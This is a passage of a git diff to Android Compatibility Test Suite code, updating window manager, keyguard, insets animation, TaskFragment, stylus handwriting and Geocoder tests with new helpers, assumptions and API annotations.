 import static android.server.wm.WindowManagerState.STATE_RESUMED;
 
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.ComponentName;
 import android.content.Intent;
 import android.content.res.Configuration;
@@ -33,6 +36,7 @@
 import android.os.IBinder;
 import android.server.wm.WindowContextTests.TestActivity;
 import android.server.wm.WindowManagerState.WindowContainer;
+import android.server.wm.jetpack.utils.ExtensionUtil;
 import android.util.ArrayMap;
 import android.window.TaskFragmentCreationParams;
 import android.window.TaskFragmentInfo;
@@ -41,6 +45,7 @@
 
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
 
 import org.junit.After;
 import org.junit.Before;
@@ -198,6 +203,23 @@
                 WINDOWING_MODE_UNDEFINED);
     }
 
+    static Activity startNewActivity() {
+        return startNewActivity(TestActivity.class);
+    }
+
+    static Activity startNewActivity(Class<?> className) {
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        final Intent intent = new Intent(instrumentation.getTargetContext(), className)
+                .addFlags(FLAG_ACTIVITY_NEW_TASK);
+        return instrumentation.startActivitySync(intent);
+    }
+
+    /** For API changes that are introduced together with WM Extensions version 2. */
+    static void assumeExtensionVersionAtLeast2() {
+        // TODO(b/232476698) Remove in the next Android release.
+        assumeTrue(ExtensionUtil.getExtensionVersion().getMajor() >= 2);
+    }
+
     public static class BasicTaskFragmentOrganizer extends TaskFragmentOrganizer {
         private final static int WAIT_TIMEOUT_IN_SECOND = 10;
 
@@ -257,7 +279,13 @@
         @NonNull
         public TaskFragmentCreationParams generateTaskFragParams(@NonNull IBinder ownerToken,
                 @NonNull Rect bounds, int windowingMode) {
-            return new TaskFragmentCreationParams.Builder(getOrganizerToken(), new Binder(),
+            return generateTaskFragParams(new Binder(), ownerToken, bounds, windowingMode);
+        }
+
+        @NonNull
+        public TaskFragmentCreationParams generateTaskFragParams(@NonNull IBinder fragmentToken,
+                @NonNull IBinder ownerToken, @NonNull Rect bounds, int windowingMode) {
+            return new TaskFragmentCreationParams.Builder(getOrganizerToken(), fragmentToken,
                     ownerToken)
                     .setInitialBounds(bounds)
                     .setWindowingMode(windowingMode)
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentTrustedModeTest.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentTrustedModeTest.java
index 9fd1a41..5ec5b97 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentTrustedModeTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentTrustedModeTest.java
@@ -21,12 +21,12 @@
 import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.assumeActivityEmbeddingSupportedDevice;
 
 import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertThrows;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 
 import android.app.Activity;
 import android.content.ComponentName;
@@ -128,6 +128,8 @@
      */
     @Test
     public void testUntrustedModeTaskFragmentVisibility_reparentActivityInTaskFragment() {
+        // TODO(b/207070762): Remove after migration is done.
+        assumeFalse(ENABLE_SHELL_TRANSITIONS);
         final Activity translucentActivity = startActivity(TranslucentActivity.class);
 
         // Create a task fragment with activity in untrusted mode.
@@ -251,7 +253,7 @@
      */
     @Test
     public void testUntrustedModeTaskFragment_startActivityInTaskFragmentOutsideOfParentBounds() {
-        Task parentTask = mWmState.getRootTask(mOwnerTaskId);
+        final Task parentTask = mWmState.getRootTask(mOwnerTaskId);
         final Rect parentBounds = new Rect(parentTask.getBounds());
         final IBinder errorCallbackToken = new Binder();
         final WindowContainerTransaction wct = new WindowContainerTransaction()
@@ -266,11 +268,6 @@
         // It is disallowed to start activity to TaskFragment with bounds outside of its parent
         // in untrusted mode.
         assertTaskFragmentError(errorCallbackToken, SecurityException.class);
-
-        parentTask = mWmState.getRootTask(mOwnerTaskId);
-        assertWithMessage("Activity must be started in parent Task because it's not"
-                + " allowed to be embedded").that(parentTask.mActivities).contains(
-                mWmState.getActivity(SECOND_UNTRUSTED_EMBEDDING_ACTIVITY));
     }
 
     /**
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
index 1d9164d..7969243 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
@@ -33,7 +33,6 @@
 
 import static org.hamcrest.Matchers.equalTo;
 import static org.hamcrest.Matchers.hasItem;
-import static org.hamcrest.Matchers.hasSize;
 import static org.hamcrest.Matchers.is;
 import static org.hamcrest.Matchers.not;
 import static org.hamcrest.Matchers.notNullValue;
@@ -51,6 +50,7 @@
 import android.animation.ValueAnimator;
 import android.app.Instrumentation;
 import android.graphics.Insets;
+import android.os.Bundle;
 import android.os.CancellationSignal;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.WindowInsetsAnimationTestBase.TestActivity;
@@ -105,7 +105,7 @@
 @RunWith(Parameterized.class)
 public class WindowInsetsAnimationControllerTests extends WindowManagerTestBase {
 
-    TestActivity mActivity;
+    ControllerTestActivity mActivity;
     View mRootView;
     ControlListener mListener;
     CancellationSignal mCancellationSignal = new CancellationSignal();
@@ -139,6 +139,16 @@
         };
     }
 
+    public static class ControllerTestActivity extends TestActivity {
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            // Ensure to set animation callback to null before starting a test. Otherwise, launching
+            // this activity might trigger some inset animation accidentally.
+            mView.setWindowInsetsAnimationCallback(null);
+        }
+    }
+
     @Before
     public void setUpWindowInsetsAnimationControllerTests() throws Throwable {
         assumeFalse(
@@ -152,7 +162,8 @@
             assumeThat(MockImeSession.getUnavailabilityReason(instrumentation.getContext()),
                     nullValue());
 
-            // For the best test stability MockIme should be selected before launching TestActivity.
+            // For the best test stability MockIme should be selected before launching
+            // ControllerTestActivity.
             mMockImeSession = MockImeSession.create(
                     instrumentation.getContext(), instrumentation.getUiAutomation(),
                     new ImeSettings.Builder());
@@ -161,14 +172,15 @@
             mockImeEventStream = null;
         }
 
-        mActivity = startActivityInWindowingMode(TestActivity.class, WINDOWING_MODE_FULLSCREEN);
+        mActivity = startActivityInWindowingMode(ControllerTestActivity.class,
+                WINDOWING_MODE_FULLSCREEN);
         mRootView = mActivity.getWindow().getDecorView();
         mListener = new ControlListener(mErrorCollector);
         assumeTestCompatibility();
 
         if (mockImeEventStream != null) {
-            // TestActivity has a focused EditText. Hence MockIme should receive onStartInput() for
-            // that EditText within a reasonable time.
+            // ControllerTestActivity has a focused EditText. Hence MockIme should receive
+            // onStartInput() for that EditText within a reasonable time.
             expectEvent(mockImeEventStream,
                     editorMatcher("onStartInput", mActivity.getEditTextMarker()),
                     TimeUnit.SECONDS.toMillis(10));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
index 51033bb..bb83db1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
@@ -64,7 +64,6 @@
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.WindowUtil;
 
-import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 
@@ -84,13 +83,11 @@
 
     private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
 
-    @Ignore("b/168446060")
     @Test
     public void testShowAndHide_renderSynchronouslyBetweenImeWindowAndAppContent() throws Throwable {
         runTest(false /* useControlApi */);
     }
 
-    @Ignore("b/168446060")
     @Test
     public void testControl_rendersSynchronouslyBetweenImeWindowAndAppContent() throws Throwable {
         runTest(true /* useControlApi */);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
index 86ec2fa..5c537e8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
@@ -256,7 +256,8 @@
 
         waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
 
-        assertFalse(getWmState().isWindowVisible("StatusBar"));
+        mWmState.computeState();
+        assertFalse(mWmState.isWindowVisible("StatusBar"));
         verify(mActivity.mCallback).onPrepare(any());
         verify(mActivity.mCallback).onStart(any(), any());
         verify(mActivity.mCallback, atLeastOnce()).onProgress(any(), any());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
index 65465b2..8dc33b1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
@@ -59,6 +59,7 @@
 import android.app.Instrumentation;
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.content.res.Resources;
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
@@ -226,6 +227,11 @@
         final Instrumentation instrumentation = getInstrumentation();
         assumeThat(MockImeSession.getUnavailabilityReason(instrumentation.getContext()),
                 nullValue());
+        final Resources resources = instrumentation.getContext().getResources();
+        final boolean isHideNavBarForKeyboardEnabled = resources.getBoolean(
+                resources.getIdentifier("config_hideNavBarForKeyboard", "bool", "android"));
+        assumeFalse("Device is configured to not show navigation bar for keyboard",
+                isHideNavBarForKeyboardEnabled);
         final MockImeSession imeSession = MockImeHelper.createManagedMockImeSession(this);
         final ImeEventStream stream = imeSession.openEventStream();
         final TestActivity activity = startActivityInWindowingModeFullScreen(TestActivity.class);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
index 5dc7ffe..208d94f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
@@ -17,6 +17,7 @@
 package android.server.wm.intent;
 
 import android.app.Activity;
+import android.content.Intent;
 import android.os.Bundle;
 
 /**
@@ -40,6 +41,13 @@
     }
 
     public static class RegularActivity extends BaseActivity {
+        public boolean mIsOnNewIntentCalled = false;
+
+        @Override
+        protected void onNewIntent(Intent intent) {
+            super.onNewIntent(intent);
+            mIsOnNewIntentCalled = true;
+        }
     }
 
     public static class SingleTopActivity extends BaseActivity {
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 3ffda88..7bbb0f0 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -90,6 +90,7 @@
 import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
 import static android.server.wm.app.Components.LaunchingActivity.KEY_FINISH_BEFORE_LAUNCH;
 import static android.server.wm.app.Components.PipActivity.ACTION_CHANGE_ASPECT_RATIO;
+import static android.server.wm.app.Components.PipActivity.ACTION_ENTER_PIP;
 import static android.server.wm.app.Components.PipActivity.ACTION_EXPAND_PIP;
 import static android.server.wm.app.Components.PipActivity.ACTION_SET_REQUESTED_ORIENTATION;
 import static android.server.wm.app.Components.PipActivity.ACTION_UPDATE_PIP_STATE;
@@ -190,6 +191,8 @@
 import java.util.List;
 import java.util.Objects;
 import java.util.UUID;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.function.BooleanSupplier;
 import java.util.function.Consumer;
@@ -333,9 +336,9 @@
         return "am start --activity-task-on-home -n " + getActivityName(activityName);
     }
 
-    protected static String getAmStartCmdWithDismissKeyguardIfInsecure(
+    protected static String getAmStartCmdWithDismissKeyguard(
             final ComponentName activityName) {
-        return "am start --dismiss-keyguard-if-insecure -n " + getActivityName(activityName);
+        return "am start --dismiss-keyguard -n " + getActivityName(activityName);
     }
 
     protected static String getAmStartCmdWithNoUserAction(final ComponentName activityName,
@@ -427,6 +430,19 @@
                     .putExtra(EXTRA_DISMISS_KEYGUARD_METHOD, true));
         }
 
+        void enterPipAndWait() {
+            try {
+                final CompletableFuture<Boolean> future = new CompletableFuture<>();
+                final RemoteCallback remoteCallback = new RemoteCallback(
+                        (Bundle result) -> future.complete(true));
+                mContext.sendBroadcast(createIntentWithAction(ACTION_ENTER_PIP)
+                        .putExtra(EXTRA_SET_PIP_CALLBACK, remoteCallback));
+                assertTrue(future.get(5000, TimeUnit.MILLISECONDS));
+            } catch (Exception e) {
+                logE("enterPipAndWait failed", e);
+            }
+        }
+
         void expandPip() {
             mContext.sendBroadcast(createIntentWithAction(ACTION_EXPAND_PIP));
         }
@@ -622,6 +638,8 @@
             pressUnlockButton();
         }
         launchHomeActivityNoWait();
+        // TODO(b/242933292): Consider removing all the tasks belonging to android.server.wm
+        // instead of removing all and then waiting for allActivitiesResumed.
         removeRootTasksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
 
         runWithShellPermission(() -> {
@@ -631,6 +649,14 @@
             // state.
             mAtm.clearLaunchParamsForPackages(TEST_PACKAGES);
         });
+
+        // removeRootTaskWithActivityTypes() removes all the tasks apart from home. In a few cases,
+        // the systemUI might have a few tasks that need to be displayed all the time.
+        // For such tasks, systemUI might have a restart-logic that restarts those tasks. Those
+        // restarts can interfere with the test state. To avoid that, its better to wait for all
+        // the activities to come in the resumed state.
+        mWmState.waitForWithAmState(WindowManagerState::allActivitiesResumed, "Root Tasks should "
+                + "be either empty or resumed");
     }
 
     /** It always executes after {@link org.junit.After}. */
@@ -818,8 +844,8 @@
         mWmState.waitForValidState(activityName);
     }
 
-    protected void launchActivityWithDismissKeyguardIfInsecure(final ComponentName activityName) {
-        executeShellCommand(getAmStartCmdWithDismissKeyguardIfInsecure(activityName));
+    protected void launchActivityWithDismissKeyguard(final ComponentName activityName) {
+        executeShellCommand(getAmStartCmdWithDismissKeyguard(activityName));
         mWmState.waitForValidState(activityName);
     }
 
@@ -1106,10 +1132,6 @@
         return sIsTablet;
     }
 
-    protected boolean isOperatorTierDevice() {
-        return hasDeviceFeature("com.google.android.tv.operator_tier");
-    }
-
     protected void waitAndAssertActivityState(ComponentName activityName,
             String state, String message) {
         mWmState.waitForActivityState(activityName, state);
diff --git a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateUtils.java b/tests/framework/base/windowmanager/util/src/android/server/wm/DeviceStateUtils.java
similarity index 92%
rename from tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateUtils.java
rename to tests/framework/base/windowmanager/util/src/android/server/wm/DeviceStateUtils.java
index df97832..55d0926 100644
--- a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateUtils.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/DeviceStateUtils.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package android.hardware.devicestate.cts;
+package android.server.wm;
 
 import static android.hardware.devicestate.DeviceStateManager.MAXIMUM_DEVICE_STATE;
 import static android.hardware.devicestate.DeviceStateManager.MINIMUM_DEVICE_STATE;
@@ -26,7 +26,7 @@
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.ThrowingRunnable;
 
-/** Utility methods for {@DeviceStateManager} CTS tests. */
+/** Utility methods for CTS tests requiring the use of {@DeviceStateManager}. */
 public final class DeviceStateUtils {
     /**
      * Runs the supplied {@code runnable} with the
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/DreamCoordinator.java b/tests/framework/base/windowmanager/util/src/android/server/wm/DreamCoordinator.java
index 3cdd57a..ced0497 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/DreamCoordinator.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/DreamCoordinator.java
@@ -25,14 +25,13 @@
 import com.android.compatibility.common.util.SystemUtil;
 
 public class DreamCoordinator {
-    private Context mContext;
+    private final DreamManager mDreamManager;
+
     private boolean mSetup;
     private boolean mDefaultDreamServiceEnabled;
-    private DreamManager mDreamManager;
 
     public DreamCoordinator(Context context) {
-        mContext = context;
-        mDreamManager = mContext.getSystemService(DreamManager.class);
+        mDreamManager = context.getSystemService(DreamManager.class);
     }
 
     public final ComponentName getDreamActivityName(ComponentName dream) {
@@ -60,7 +59,7 @@
      * Restores any settings changed by {@link #setup()}.
      */
     public void restoreDefaults() {
-        // If we have not setup the coordinator, do not do anything.
+        // If we have not set up the coordinator, do not do anything.
         if (!mSetup) {
             return;
         }
@@ -76,24 +75,30 @@
                 () -> mDreamManager.setScreensaverEnabled(false));
     }
 
-    public void startDream(ComponentName name) {
-        SystemUtil.runWithShellPermissionIdentity(() -> mDreamManager.startDream(name));
+    public void startDream() {
+        SystemUtil.runWithShellPermissionIdentity(() -> mDreamManager.startDream());
     }
 
     public void stopDream() {
-        SystemUtil.runWithShellPermissionIdentity(() -> mDreamManager.stopDream());
+        SystemUtil.runWithShellPermissionIdentity(mDreamManager::stopDream);
     }
 
-    public  ComponentName setActiveDream(ComponentName dream) {
+    public ComponentName setActiveDream(ComponentName dream) {
         SystemUtil.runWithShellPermissionIdentity(() -> mDreamManager.setActiveDream(dream));
         return getDreamActivityName(dream);
     }
 
+    public ComponentName setSystemDream(ComponentName dream) {
+        SystemUtil.runWithShellPermissionIdentity(() ->
+                mDreamManager.setSystemDreamComponent(dream));
+        return dream == null ? null : getDreamActivityName(dream);
+    }
+
     public void setDreamOverlay(ComponentName overlay) {
         SystemUtil.runWithShellPermissionIdentity(() -> mDreamManager.setDreamOverlay(overlay));
     }
 
     public boolean isDreaming() {
-        return SystemUtil.runWithShellPermissionIdentity(() -> mDreamManager.isDreaming());
+        return SystemUtil.runWithShellPermissionIdentity(mDreamManager::isDreaming);
     }
 }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index adf308d..b9b0e19 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -955,6 +955,15 @@
                 .collect(Collectors.toList());
     }
 
+    public boolean allActivitiesResumed() {
+        for (Task rootTask : mRootTasks) {
+            final Activity nonResumedActivity =
+                    rootTask.getActivity((a) -> !a.state.equals(STATE_RESUMED));
+            if (nonResumedActivity != null) return false;
+        }
+        return true;
+    }
+
     public boolean hasNotificationShade() {
         computeState();
         return !getMatchingWindowType(TYPE_NOTIFICATION_SHADE).isEmpty();
@@ -1204,27 +1213,23 @@
             //                    don't treat them as regular root tasks
             collectDescendantsOfTypeIf(Task.class, t -> t.isRootTask(), this,
                     mRootTasks);
-            ArrayList<Task> rootOrganizedTasks = new ArrayList<>();
-            for (int i = mRootTasks.size() -1; i >= 0; --i) {
+
+            ArrayList<Task> nonOrganizedRootTasks = new ArrayList<>();
+            for (int i = 0; i < mRootTasks.size(); i++) {
                 final Task task = mRootTasks.get(i);
-                // Skip tasks created by an organizer
                 if (task.mCreatedByOrganizer) {
-                    mRootTasks.remove(task);
-                    rootOrganizedTasks.add(task);
+                    // Get all tasks inside the root-task created by an organizer
+                    List<Task> nonOrganizedDescendants = new ArrayList<>();
+                    collectDescendantsOfTypeIf(Task.class, t -> !t.mCreatedByOrganizer, task,
+                            nonOrganizedDescendants);
+                    nonOrganizedRootTasks.addAll(nonOrganizedDescendants);
+                } else {
+                    nonOrganizedRootTasks.add(task);
                 }
             }
-            // Add root tasks controlled by an organizer
-            while (rootOrganizedTasks.size() > 0) {
-                final Task task = rootOrganizedTasks.remove(0);
-                for (int i = task.mChildren.size() - 1; i >= 0; i--) {
-                    final Task child = (Task) task.mChildren.get(i);
-                    if (!child.mCreatedByOrganizer) {
-                        mRootTasks.add(child);
-                    } else {
-                        rootOrganizedTasks.add(child);
-                    }
-                }
-            }
+
+            mRootTasks.clear();
+            mRootTasks.addAll(nonOrganizedRootTasks);
         }
 
         boolean containsActivity(ComponentName activityName) {
@@ -1784,12 +1789,14 @@
 
         boolean aodShowing = false;
         boolean keyguardShowing = false;
+        boolean mKeyguardGoingAway = false;
         SparseArray<Boolean> mKeyguardOccludedStates = new SparseArray<>();
 
         KeyguardControllerState(KeyguardControllerProto proto) {
             if (proto != null) {
                 aodShowing = proto.aodShowing;
                 keyguardShowing = proto.keyguardShowing;
+                mKeyguardGoingAway = proto.keyguardGoingAway;
                 for (int i = 0;  i < proto.keyguardPerDisplay.length; i++) {
                     mKeyguardOccludedStates.append(proto.keyguardPerDisplay[i].displayId,
                             proto.keyguardPerDisplay[i].keyguardOccluded);
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
index a203a84..13f3b72 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
@@ -189,6 +189,13 @@
                 "Keyguard showing and occluded");
     }
 
+    void waitAndAssertWindowShown(int windowType, boolean show) {
+        assertTrue(waitFor(state -> {
+            WindowState w = state.findFirstWindowWithType(windowType);
+            return w != null && w.isSurfaceShown() == show;
+        }, "wait for window surface " + (show ? "show" : "hide")));
+    }
+
     public void waitForAodShowing() {
         waitForWithAmState(state -> state.getKeyguardControllerState().aodShowing, "AOD showing");
     }
@@ -698,6 +705,8 @@
     public void assertKeyguardShowingAndOccluded() {
         assertTrue("Keyguard is showing",
                 getKeyguardControllerState().keyguardShowing);
+        assertFalse("keygaurd is not going away",
+                getKeyguardControllerState().mKeyguardGoingAway);
         assertTrue("Keyguard is occluded",
                 getKeyguardControllerState().isKeyguardOccluded(DEFAULT_DISPLAY));
     }
@@ -705,6 +714,8 @@
     public void assertKeyguardShowingAndNotOccluded() {
         assertTrue("Keyguard is showing",
                 getKeyguardControllerState().keyguardShowing);
+        assertFalse("keygaurd is not going away",
+                getKeyguardControllerState().mKeyguardGoingAway);
         assertFalse("Keyguard is not occluded",
                 getKeyguardControllerState().isKeyguardOccluded(DEFAULT_DISPLAY));
     }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/EventTracker.java b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/EventTracker.java
index fae5657..d60fc0d 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/EventTracker.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/EventTracker.java
@@ -48,7 +48,11 @@
         }
     }
 
-    void waitAndAssertActivityCurrentState(Class<? extends Activity> activityClass,
+    /**
+     * Blocking call that will wait and verify that the activity transition settles with the
+     * expected state.
+     */
+    public void waitAndAssertActivityCurrentState(Class<? extends Activity> activityClass,
             String expectedState) {
         final boolean waitResult = waitForConditionWithTimeout(() -> {
             List<String> activityLog = mEventLog.getActivityLog(activityClass);
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
index ccd8659..8855dee 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
@@ -32,7 +32,7 @@
      *
      * <p>See Bug 174534092 about why we ended up having this.</p>
      */
-    private static final int TOLERANCE = 4;
+    private static final int TOLERANCE = 6;
 
     /**
      * A utility class that represents A8R8G8B bitmap as an integer array.
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java
index 8cc0b8e..c098ad0 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java
@@ -54,6 +54,7 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+import com.android.compatibility.common.util.ApiTest;
 import com.android.cts.mockime.ImeEventStream;
 import com.android.cts.mockime.ImeSettings;
 import com.android.cts.mockime.MockImeSession;
@@ -147,6 +148,10 @@
     }
 
     @Test
+    @ApiTest(apis = {"android.view.inputmethod.InputMethodManager#startStylusHandwriting",
+            "android.inputmethodservice.InputMethodService#onPrepareStylusHandwriting",
+            "android.inputmethodservice.InputMethodService#onStartStylusHandwriting",
+            "android.inputmethodservice.InputMethodService#onFinishStylusHandwriting"})
     public void testHandwritingStartAndFinish() throws Exception {
         final InputMethodManager imm = mContext.getSystemService(InputMethodManager.class);
         try (MockImeSession imeSession = MockImeSession.create(
@@ -157,13 +162,13 @@
 
             final String marker = getTestMarker();
             final EditText editText = launchTestActivity(marker);
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
 
             // Touch down with a stylus
             final int x = 10;
             final int y = 10;
             TestUtils.injectStylusDownEvent(editText, x, y);
 
-            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
             notExpectEvent(
                     stream,
                     editorMatcher("onStartInputView", marker),
@@ -209,6 +214,9 @@
      * @throws Exception
      */
     @Test
+    @ApiTest(apis = {"android.view.inputmethod.InputMethodManager#startStylusHandwriting",
+            "android.inputmethodservice.InputMethodService#onStylusMotionEvent",
+            "android.inputmethodservice.InputMethodService#onStartStylusHandwriting"})
     public void testHandwritingStylusEvents_onStylusHandwritingMotionEvent() throws Exception {
         testHandwritingStylusEvents(false /* verifyOnInkView */);
     }
@@ -219,6 +227,9 @@
      * @throws Exception
      */
     @Test
+    @ApiTest(apis = {"android.view.inputmethod.InputMethodManager#startStylusHandwriting",
+            "android.inputmethodservice.InputMethodService#onStylusMotionEvent",
+            "android.inputmethodservice.InputMethodService#onStartStylusHandwriting"})
     public void testHandwritingStylusEvents_dispatchToInkView() throws Exception {
         testHandwritingStylusEvents(false /* verifyOnInkView */);
     }
@@ -234,6 +245,7 @@
 
             final String marker = getTestMarker();
             final EditText editText = launchTestActivity(marker);
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
 
             final List<MotionEvent> injectedEvents = new ArrayList<>();
             // Touch down with a stylus
@@ -241,7 +253,6 @@
             final int startY = 10;
             injectedEvents.add(TestUtils.injectStylusDownEvent(editText, startX, startY));
 
-            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
             notExpectEvent(
                     stream,
                     editorMatcher("onStartInputView", marker),
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java b/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java
index 08ddca1..2baa2f1 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java
@@ -33,10 +33,12 @@
 import android.content.pm.PackageManager.ResolveInfoFlags;
 import android.location.Geocoder;
 import android.location.Geocoder.GeocodeListener;
+import android.platform.test.annotations.AppModeFull;
 
 import androidx.test.core.app.ApplicationProvider;
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 
+import com.android.compatibility.common.util.ApiTest;
 import com.android.compatibility.common.util.RetryRule;
 
 import org.junit.Before;
@@ -73,6 +75,8 @@
         }
     }
 
+    @ApiTest(apis = "android.location.Geocoder#getFromLocation")
+    @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps")
     @Test
     public void testGetFromLocation() {
         assumeTrue(Geocoder.isPresent());
@@ -82,6 +86,8 @@
         verify(listener, timeout(10000)).onGeocode(anyList());
     }
 
+    @ApiTest(apis = "android.location.Geocoder#getFromLocation")
+    @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps")
     @Test
     public void testGetFromLocation_sync() throws Exception {
         assumeTrue(Geocoder.isPresent());
@@ -89,6 +95,8 @@
         mGeocoder.getFromLocation(60, 30, 5);
     }
 
+    @ApiTest(apis = "android.location.Geocoder#getFromLocation")
+    @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps")
     @Test
     public void testGetFromLocation_badInput() {
         GeocodeListener listener = mock(GeocodeListener.class);
@@ -102,6 +110,8 @@
                 () -> mGeocoder.getFromLocation(10, 181, 5, listener));
     }
 
+    @ApiTest(apis = "android.location.Geocoder#getFromLocationName")
+    @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps")
     @Test
     public void testGetFromLocationName() {
         assumeTrue(Geocoder.isPresent());
@@ -111,6 +121,8 @@
         verify(listener, timeout(10000)).onGeocode(anyList());
     }
 
+    @ApiTest(apis = "android.location.Geocoder#getFromLocationName")
+    @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps")
     @Test
     public void testGetFromLocationName_sync() throws Exception {
         assumeTrue(Geocoder.isPresent());
